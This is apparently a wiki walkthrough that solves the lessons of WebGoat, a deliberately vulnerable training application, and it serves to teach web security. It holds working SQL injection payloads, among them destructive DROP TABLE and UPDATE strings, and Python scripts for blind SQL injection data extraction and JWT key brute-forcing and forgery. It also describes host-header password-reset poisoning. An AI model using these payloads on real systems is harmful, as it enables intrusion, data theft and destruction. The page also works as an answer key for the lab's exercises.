(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (2024)

Written by Pierre-Arnaud Laporte

Read this in other languages: Français.

  • Introduction:
    • WebGoat
    • WebWolf
  • General:
    • HTTP Basics
    • HTTP Proxies
    • CIA triad
    • Google Chrome Developer Tools
  • (A1) Injection:
    • SQL Injection (introduction)
    • SQL Injection (advanced)
    • SQL Injection (mitigation)
    • Path Traversal
  • (A2) Broken Authentification:
    • Secure Passwords
    • Password reset
    • Authentification Bypasses
    • JWT tokens
  • (A3) Sensitive Data Exposure:
    • Insecure Login
  • (A4) XML External Entities (XXE):
    • XXE
  • (A5) Broken Access Control:
    • Insecure Direct Object References
    • Missing Function Level Access Control
  • (A7) Cross-Site Scripting (XSS):
    • Cross Site Scripting
    • Cross Site Scripting (stored)
    • Cross Site Scripting (mitigation)
  • (A8) Insecure Deserialization:
    • Insecure Deserialization
  • (A9) Vulnerable Components:
    • Vulnerable Components
  • (A8:2013) Request Forgery:
    • Cross-Site Request Forgeries
    • Server-Side Request Forgeries
  • Client side:
    • Bypass front-end restrictions
    • HTML tampering
    • Client side filtering
  • Challenges:
    • Admin lost password
    • Without password
    • Creating a new account
    • Admin password reset
    • Without account

Introduction:

WebGoat

Read the lesson.

WebWolf

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (1) There is a bug on WebWolf that prevents access to Mailbox.

  • Send an email to {user}@....
  • Go to http://host:port/WebWolf.
  • Log in and go read the mail received.
  • Send an email to {user}@...
  • Go to http://host:port/WebWolf/requests.
  • Observe the uniqueCode parameter in the query and enter its value on WebGoat.

General:

HTTP Basics

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (2) Type in your name and press 'go'

Enter your name and press Go!.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (3) Turn on Show Parameters or other features
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (4) Try to intercept the request with OWASP ZAP

  • Open the Development Tools in the browser, and go to the Network tab.
  • Fill out the fields on WebGoat with POST or GET and a random number, and click on Go!.
  • Locate the query to attack2 in the Network tab and click on Edit and Resend.
  • Retrieve the magic_num in the body of the request, find that the request is a POST and click again on Go! with the correct parameters.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (5)

HTTP Proxies
  • Open the Development Tools in the browser, and go to the Network tab.
  • Click on Submit without editing the parameter.
  • Locate the query to intercept-request in the Network tab and click on Edit and Resend.
  • Change the POST method to GET.
  • Change the URL from http://host:port/WebGoat/HttpProxies/intercept-request to http://host/WebGoat/HttpProxies/intercept-request?changeMe=Requests%20are%20tampered%20easily
  • Add in the request header x-request-intercepted: true.
  • Clear the body of the query.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (6)

CIA triad

1. How could an intruder harm the security goal of confidentiality?

Solution 3: By stealing a database where names and emails are stored and uploading it to a website.

2. How could an intruder harm the security goal of integrity?

Solution 1: By changing the names and emails of one or more users stored in a database.

3. How could an intruder harm the security goal of availability?

Solution 4: By launching a denial of service attack on the servers.

4. What happens if at least one of the CIA security goals is harmed?

Solution 2: The systems security is compromised even if only one goal is harmed.

Google Chrome Developer Tools
  • Open the Development Tools in the browser, and go to the Console tab.
  • Enter webgoat.customjs.phoneHome() in the console.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (7)

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (8) Contrary to what the hints say, the name of the request is not dummy, but network.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (9) Clear all Requests from the network button, then make the request. The you should be able to figure out, which request holds the data.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (10) The name of the request is "dummy"

  • Open the Development Tools in the browser, and go to the Network tab.
  • On WebGoat click on Go!.
  • Locate the query to network in the Network tab and click on Parameters.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (11)

(A1) Injection:

SQL Injection (introduction)

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (12) You want the data from the column with the name department. You know the database name (employees) and you know the first- and lastname of the employee (first_name, last_name).
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (13) SELECT column FROM tablename WHERE condition;
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (14) Use ' instead of " when comparing two strings.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (15) Pay attention to case sensitivity when comparing two strings.

SQL query: SELECT department FROM employees WHERE first_name='Bob'

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (16) Try the UPDATE statement
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (17) UPDATE table name SET column name=value WHERE condition;

SQL query: UPDATE employees SET department='Sales' WHERE first_name='Tobi'

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (18) ALTER TABLE alters the structure of an existing database
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (19) Do not forget the data type of the new column (e.g. varchar(size) or int(size))
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (20) ALTER TABLE table name ADD column name data type(size);

SQL query: ALTER TABLE employees ADD phone varchar(20)

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (21) Look at the example. There is everything you will need.

SQL query: GRANT ALTER TABLE TO UnauthorizedUser

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (22) Remember that for an successful Sql-Injection the query needs to always evaluate to true.

SELECT * FROM users_data FIRST_NAME = 'John' and Last_NAME = ' ' + or + '1'='1

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (23) Try to check which of the input fields is susceptible to an injection attack.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (24) Insert: 0 or 1 = 1 into the first input field. The output should tell you if this field is injectable.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (25) The first input field is not susceptible to sql injection.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (26) You do not need to insert any quotations into your injection-string.

  • Login_count: 0
  • User_Id: 0 OR 1=1

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (27) The application is taking your input and inserting the values into the variables 'name' and 'auth_tan' of the pre-formed SQL command.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (28) Compound SQL statements can be made by expanding the WHERE clause of the statement with keywords like AND and OR.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (29) Try appending a SQL statement that always resolves to true.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (30) Make sure all quotes (" ' ") are opened and closed properly so the resulting SQL query is syntactically correct.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (31) Try extending the WHERE clause of the statement by adding something like: ' OR '1' = '1.

  • Employee Name: A
  • Authentication TAN: ' OR '1' = '1

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (32) Try to find a way, to chain another query to the end of the existing one.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (33) Use the ; metacharacter to do so.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (34) Make use of DML to change your salary.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (35) Make sure that the resulting query is syntactically correct.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (36) How about something like '; UPDATE employees....

  • Employee Name: A
  • Authentication TAN: '; UPDATE employees SET salary=99999 WHERE first_name='John

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (37) Use the techniques that you have learned before.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (38) The application takes your input and filters for entries that are LIKE it.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (39) Try query chaining to reach the goal.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (40) The DDL allows you to delete (DROP) database tables.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (41) The underlying SQL query looks like that: "SELECT * FROM access_log WHERE action LIKE '%" + action + "%'".
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (42) Remember that you can use the -- metacharacter to comment out the rest of the line.

Action contains: %'; DROP TABLE access_log;--

SQL Injection (advanced)

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (43) Remember that when using an UNION each SELECT statement within UNION must have the same number of columns.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (44) The data type of a column in the first SELECT statement must have a similar data type to that in the second SELECT statement.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (45) Your new SQL query must end with a comment. eg: --
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (46) If a column needs a String you could substitute something like 'a String' for it. For integers you could substitute a 1.

  • Name: '; SELECT * FROM user_system_data;-- or ' UNION SELECT 1, user_name, password, cookie, 'A', 'B', 1 from user_system_data;--
  • Password: passW0rD

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (47) Look at the different response you receive from the server
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (48) The vulnerability is on the register form
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (49) The vulnerable field is the username field of the register form.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (50) Use tooling to automate this attack
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (51) The table name is randomized at each start of WebGoat, try to figure out the name first.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (52) Change the password through an UPDATE Statement.

As specified in the hints, it is possible to change the password using an UPDATE. It is also possible to find the original password as we will see in the proposed solution.

  • The Login form does not appear to provide any useful outputs from a variety of inputs, but the Register form allows us to check whether a username already exists.
  • If we try to register with the following username: tom' AND '1'='1 we find that the username is taken.
  • We can use this as an oracle and check what Tom's password is one at a time.
  • Fortunately, the table we are seeking is named password (guessing), so we can attempt to register with the following username: tom' AND substring(password,1,1)='t
  • The response states the username already exists, we know that t is the first character of Tom's password.
  • By fuzzing for the remaining characters, we can determine that Tom's password is thisisasecretfortomonly.

This challenge can be a good exercise to practice scripting. Below, a small example of Python code to find the answer:

import json import requests def sql_injection_advance_5(): alphabet_index = 0 alphabet = 'abcdefghijklmnopqrstuvwxyz' password_index = 0 password = '' headers = { 'Cookie': COOKIE, } while True: payload = 'tom\' AND substring(password,{},1)=\'{}'.format(password_index + 1, alphabet[alphabet_index]) data = { 'username_reg': payload, 'email_reg': 'a@a', 'password_reg': 'a', 'confirm_password_reg': 'a' } r = requests.put('http://HOST:PORT/WebGoat/SqlInjectionAdvanced/challenge', headers=headers, data=data) try: response = json.loads(r.text) except: print("Wrong JSESSIONID, find it by looking at your requests once logged in.") return if "already exists please try to register with a different username" not in response['feedback']: alphabet_index += 1 if alphabet_index > len(alphabet) - 1: return else: password += alphabet[alphabet_index] print(password) alphabet_index = 0 password_index += 1 sql_injection_advance_5()

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (53)

1. What is the difference between a prepared statement and a statement?

Solution 4: A statement has got values instead of a prepared statement

2. Which one of the following characters is a placeholder for variables?

Solution 3: ?

3. How can prepared statements be faster than statements?

Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.

4. How can a prepared statement prevent SQL-Injection?

Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.

5. What happens if a person with malicious intent writes into a register form :Robert); DROP TABLE Students;-- that has a prepared statement?

Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.

SQL Injection (mitigation)

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (54) First establish a connection, after that you can create a statement.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (55) SqlStringInjectionHint-mitigation-10a-10a2

The fields must contain the following words to validate the lesson: getConnection, PreparedStatement, prepareStatement, ?, ?, setString, setString.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (56)

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (57) A database connection has to be surrounded by a try-catch block to handle the very common case of an error while establishing the connection.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (58) Remember to use the right kind of statement, so your code is no longer vulnerable for SQL injections.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (59) The wildcard symbol '?' in a prepared statement can be filled with the right kind of method. There exists one for every data type.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (60) Make sure to execute your statement.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (61) View the previous lesson to check back on how you can build set up a connection.

Complete the window with:

try { Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW); PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE name = ?"); ps.setString(1, "Admin"); ps.executeUpdate(); } catch (Exception e) { System.out.println("Oops. Something went wrong!"); }

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (62)

  1. SQLi mitigation 9

    Ans = '//or//'1'='1

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (63) Buggy lesson with the last version, a call to http://localhost:8080/WebGoat/SqlInjection/servers send back an error.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (64) Try sorting and look at the request
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (65) Intercept the request and try to specify a different order by
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (66) Use for example "(case when (true) then hostname else id end)" in the order by and see what happens

  • Click on column sort performs a request to http://localhost:8080/WebGoat/SqlInjection/servers?column=ip. This can be exploited by intercepting the request with Browser Tools and providing prepared string as column value.
  • To get the idea about webgoat-prd IP address we first have to find out the table name and ip column name. The obvious guess is servers and ip:
    column=(CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-acc') = '192.168.3.3' THEN id ELSE hostname END)
  • If that is the correct table and column name, the table will get sorted by ids.
  • So after intercepting and changing the request we get the table sorted by ids, the guess was correct.
  • Just to check our logic, lets send request with:
    column=(CASE WHEN (SELECT ip FROM whatever WHERE hostname='webgoat-acc') = '192.168.3.3' THEN id ELSE hostname END)
  • It get's an error page, we have everything to script the attack now.
import json import requests def sql_injection_mitigation_10(): index = 0 headers = { 'Cookie': 'JSESSIONID=id' } while True: payload = '(CASE WHEN (SELECT ip FROM servers WHERE hostname=\'webgoat-prd\') LIKE \'{}.%\' THEN id ELSE hostname END)'.format(index) r = requests.get('http://host:port/WebGoat/SqlInjectionMitigations/servers?column=' + payload, headers=headers) try: response = json.loads(r.text) except: print("Wrong JSESSIONID, find it by looking at your requests once logged in.") return if response[0]['id'] == '1': print('webgoat-prd IP: {}.130.219.202'.format(index)) return else: index += 1 if index > 255: print("No IP found") return sql_injection_mitigation_10()
Path Traversal

TODO: Missing right now

(A2) Broken Authentification:

Secure Passwords
  1. The verification algorithm to check the password strength can be found here https://github.com/dropbox/zxcvbn.
Password reset

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (67) There is a bug on WebWolf that prevents access to Mailbox.

  • Click on Forgot your password?.
  • Enter the email address {user}@....
  • Open the mail on WebWolf to retrieve the new password.

Valid credentials are: admin and green, jerry and orange, tom and purple, larry and yellow.

Read the advices.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (68) Lesson number does not turn green on validation.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (69) Try to send a password reset link to your own account at {user}@webgoat.org, you can read this e-mail in WebWolf.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (70) Look at the link, can you think how the server creates this link?
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (71) Tom clicks all the links he receives in his mailbox, you can use the landing page in WebWolf to get the reset link...
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (72) The link points to localhost:8080/PasswordReset/.... can you change the host to localhost:9090?
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (73) Intercept the request and change the host header.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (74) For intercepting the request you have to use a proxy. Check the HTTP-Proxies Lesson in the general category if you're unfamiliar with using proxies. Important: There seem to be problems when modifying the request header with ZAP. We recommend to use Burp instead.

  • Send an email to [emailprotected] and intercept the request.
  • Change the Host: host:webgoat_port header to Host: host:webwolf_port and return a request.
  • On WebWolf, go to Incoming requests, retrieve the variable path and go to the URL http://host:webgoat\_port/WebGoat/path .
  • Change the password and validate the challenge with the latter.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (75)
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (76)

Authentification Bypasses

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (77) The attack on this is similar to the story referenced, but not exactly the same.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (78) You do want to tamper the security question parameters, but not delete them
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (79) The logic to verify the account does expect 2 security questions to be answered, but there is a flaw in the implementation
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (80) Have you tried renaming the secQuestion0 and secQuestion1 parameters?

  • Open the Development Tools in the browser, and go to the Network tab.
  • Click on Submit without parameters.
  • Locate the query to verify-account in the Network tab and click on Edit and Resend.
  • Modify the parameters secQuestion0=&secQuestion1=&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=yourid to secQuestion2=&secQuestion3=&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=yourid.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (81)

JWT tokens

Lesson used to not turn green on validation, but is confirmed to do so in version M26.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (82) Select a different user and look at the token you receive back, use the delete button to reset the votes count
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (83) Decode the token and look at the contents
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (84) Change the contents of the token and replace the cookie before sending the request for getting the votes
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (85) Change the admin field to true in the token
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (86) Submit the token by changing the algorithm to None and remove the signature

  • Open the Development Tools in the browser, and go to the Network tab.
  • Log in as Tom on WebGoat and click on Reset Votes.
  • Locate the query to reset in the Network tab and click on Headers.
  • Notice the header:
Cookie: access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1NjQ0MDIyNDQsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0._gPSRvB9wAAruFwaDgivXp4n5rHQFi5hTOJsVFqCkR9ZDUf3LhCgJQuTIIpTGnZIS3XWL9MHZGaExJC7XhIiXA
  • In base64, this is decoded as: {"alg":"HS512"}.{"Iat":1564402244,"admin":"false","user":"Tom"}.signature.
  • Edit it to {"alg": null}.{"Iat":1564402244,"admin":"true","user":"Tom"}..
  • Re-encode it to base64 (eyJhbGciOiBudWxsfQ.eyJpYXQiOjE1NjQ0MDIyNDQsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.).(Pure base64 encoding might give paddings with '==' which will mess up the jwt library used in WebGoat, this is cleaned up)
  • Click on Modify and Resend, modify the cookie with the newly generated value and send again the request.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (87)

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (88)

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (89) Save the token and try to verify the token locally
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (90) Download a word list dictionary (https://github.com/first20hours/google-10000-english)
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (91) Write a small program or use HashCat for brute forcing the token according the word list

It is possible to validate this challenge with tools like johntheripper and https://jwt.io/, but in order to get a better understanding of the whole process, here a Python script.

  • Isolate the signature, and reformat it correctly.
  • Use each word of the dictionary as a key, calculate the HMAC of the initial message, convert it to base64, and compare it with the signature.
  • If there is a match, the dictionnary word is the key used (value found : victory).
  • Then calculate the new signature with the modified message
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6InRvbUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ.dImA6LEwQc1-ZqVPWWGE01u1jO2a-yfx8lZetbDqiTc
import base64 import hashlib import hmac def jwt_tokens_5(): token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.vPe-qQPOt78zK8wrbN1TjNJj3LeX9Qbch6oo23RUJgM'.split('.') payload = '{"iss":"WebGoat Token Builder","iat":1524210904,"exp":1618905304,"aud":"webgoat.org","sub":"[emailprotected]","username":"WebGoat","Email":"[emailprotected]","Role":["Manager","Project Administrator"]}'.encode() unsigned_token = (token[0] + '.' + token[1]).encode() # signature is base64 URL encoded and padding has been removed, so we must add it  signature = (token[2] + '=' * (-len(token[2]) % 4)).encode() with open('google-10000-english-master/google-10000-english.txt', 'r') as fd: lines = [line.rstrip('\n').encode() for line in fd] def hmac_base64(key, message): return base64.urlsafe_b64encode(bytes.fromhex(hmac.new(key, message, hashlib.sha256).hexdigest())) for line in lines: test = hmac_base64(line, unsigned_token) if test == signature: print('Key: {}'.format(line.decode())) new_token = (token[0] + '.' + base64.urlsafe_b64encode(payload).decode().rstrip('=')).encode() new_signature = hmac_base64(line, new_token) new_token += ('.' + new_signature.decode().rstrip('=')).encode() print('New token: {}'.format(new_token.decode())) return jwt_tokens_5()

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (92)

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (93) This challenge doesn't provide enough information to be completed. By looking into the source code, we can find the following has to be done: Make a POST request to http://host:port/WebGoat/JWT/refresh/login with header Content-Type: application/json and content {"user":"Jerry","password":"bm5nhSkxCXZkKRy4"} to obtain a <jerry_refresh_token>.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (94) Lesson number does not turn green on validation.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (95) Look at the access log you will find a token there
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (96) The token from the access log is no longer valid, can you find a way to refresh it?
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (97) The endpoint for refreshing a token is 'jwt/refresh/newToken'
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (98) Use the found access token in the Authorization: Bearer header and use your own refresh token

  • Find the <tom_access_token> from the logs.
  • Make a POST request to http://host:port/WebGoat/JWT/refresh/newToken with header Content-Type: application/json and Authorization: Bearer <tom_access_token> and content {"refresh_token":"<jerry_refresh_token>"}
  • Get the <tom_access_token_new>.
  • Intercept the POST request to http://host:port/WebGoat/JWT/refresh/checkout and add header Authorization: Bearer <tom_access_token_new>

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (99)

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (100)

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (101)

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (102)

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (103)

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (104) It lacks a precision in the hints: the key is decoded as a base64 chain. Also instead of using as kid hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --, you have to use hacked' UNION select 'ZGVsZXRpbmdUb20=' from INFORMATION_SCHEMA.SYSTEM_USERS --
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (105) Lesson number does not turn green on validation.

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (106) Take a look at the token and specifically and the header
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (107) The 'kid' (key ID) header parameter is a hint indicating which key was used to secure the JWS
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (108) The key can be located on the filesystem in memory or even reside in the database
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (109) The key is stored in the database and loaded while verifying a token
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (110) Using a SQL injection you might be able to manipulate the key to something you know and create a new token.
(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (111) Use: hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS -- as the kid in the header and change the contents of the token to Tom and hit the endpoint with the new token

  • Open the Development Tools in the browser, and go to the Network tab.
  • On WebGoat, click on Delete.
  • Locate the query to delete in the Network tab and click on Headers.
  • Notice the parameter:
token=eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8
  • In base64, this is decoded as:
{"typ":"JWT","kid":"webgoat_key","alg":"HS256"}.{"iss":"WebGoat Token Builder","iat":1524210904,"exp":1618905304,"aud":"webgoat.org","sub":"[emailprotected]","username":"Jerry","Email":"[emailprotected]","Role":["Cat"]}.signature
  • Edit the first two parts of the token as
{"typ":"JWT","kid":"hacked' UNION select 'ZGVsZXRpbmdUb20=' from INFORMATION_SCHEMA.SYSTEM_USERS --","alg":"HS256"}

and

{"iss":"WebGoat Token Builder","iat":1524210904,"exp":1618905304,"aud":"webgoat.org","sub":"[emailprotected]","username":"Tom","Email":"[emailprotected]","Role":["Cat"]}

then calculate the new signature with deletingTom as the new key. Use the Python script below for example.

  • The new token is
eyJ0eXAiOiJKV1QiLCJraWQiOiJoYWNrZWQnIFVOSU9OIHNlbGVjdCAnWkdWc1pYUnBibWRVYjIwPScgZnJvbSBJTkZPUk1BVElPTl9TQ0hFTUEuU1lTVEVNX1VTRVJTIC0tIiwiYWxnIjoiSFMyNTYifQ.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.JrDpQmNiVI818UvOMQgRmPkZOetw7Ic1WbPvStS2B6U
  • Click on Modify and Resend, modify the token with the newly generated parameter and send again the request.
import base64 import hashlib import hmac def jwt_tokens_8(): def hmac_base64(key, message): return base64.urlsafe_b64encode(bytes.fromhex(hmac.new(key, message, hashlib.sha256).hexdigest())) header = '{"typ":"JWT","kid":"hacked\' UNION select \'ZGVsZXRpbmdUb20=\' from INFORMATION_SCHEMA.SYSTEM_USERS --","alg":"HS256"}'.encode() payload = '{"iss":"WebGoat Token Builder","iat":1524210904,"exp":1618905304,"aud":"webgoat.org","sub":"[emailprotected]","username":"Tom","Email":"[emailprotected]","Role":["Cat"]}'.encode() new_token = (base64.urlsafe_b64encode(header).decode().rstrip('=') + '.' + base64.urlsafe_b64encode(payload).decode().rstrip('=')).encode() new_signature = hmac_base64('deletingTom'.encode(), new_token) new_token += ('.' + new_signature.decode().rstrip('=')).encode() print('New token: {}'.format(new_token.decode())) return jwt_tokens_8()

(A3) Sensitive Data Exposure:

Insecure Login

(Almost) Fully Documented Solution (en) - WebGoat/WebGoat GitHub Wiki (112) Lesson number does not turn green on validation.

  • Open the Development Tools in the browser, and go to the Network tab.
  • On WebGoat, click on Log in.
